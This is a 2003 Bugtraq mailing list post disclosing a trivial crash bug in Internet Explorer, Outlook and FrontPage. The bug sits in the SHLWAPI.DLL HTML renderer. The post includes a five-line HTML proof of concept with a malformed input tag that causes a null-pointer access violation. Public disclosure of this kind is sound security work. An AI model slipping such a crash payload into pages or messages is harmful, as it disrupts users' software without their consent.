Bugtraq mailing list archives

IE / Outlook / MS SHLWAPI Render - more trivial crash

From: Ramon Pinuaga Cascales <rpinuaga () s21sec com>
Date: Tue, 22 Apr 2003 00:07:20 +0200

Hola:

Well, as it seems that is the Microsoft Crash mounth, let see another one:

---------------------------------

<html>
<form>
<input type crash>
</form>
</html>

---------------------------------


This will crash IE with the following error:

"Unhandled exception in iexplore.exe (SHLWAPI.DLL): 0xC0000005: Access
Violation"

It's a null pointer overwrite, so it's not easly exploitable...


This HTML also crash Outlook, Frontpage, and all the Microsoft
programs that use the shlwapi.dll library to render web code.

Plain HTML is a dangerous language :)


-- 
Saludos,

 Ramon Pinuaga Cascales      
 mailto:rpinuaga () s21sec com
 Analista de Seguridad Telematica
 Tfno: 620921960

--

Current thread:

IE 6.0 - trivial crash - part II Adam [ckkl] (Apr 19)
- IE / Outlook / MS SHLWAPI Render - more trivial crash Ramon Pinuaga Cascales (Apr 22)
  - RE : IE / Outlook / MS SHLWAPI Render - more trivial crash Gervaize Maquard (Apr 22)
    - Re: IE / Outlook / MS SHLWAPI Render - more trivial crash Berend-Jan Wever (Apr 23)
    - RE: RE : IE / Outlook / MS SHLWAPI Render - more trivial crash kajbaf (Apr 29)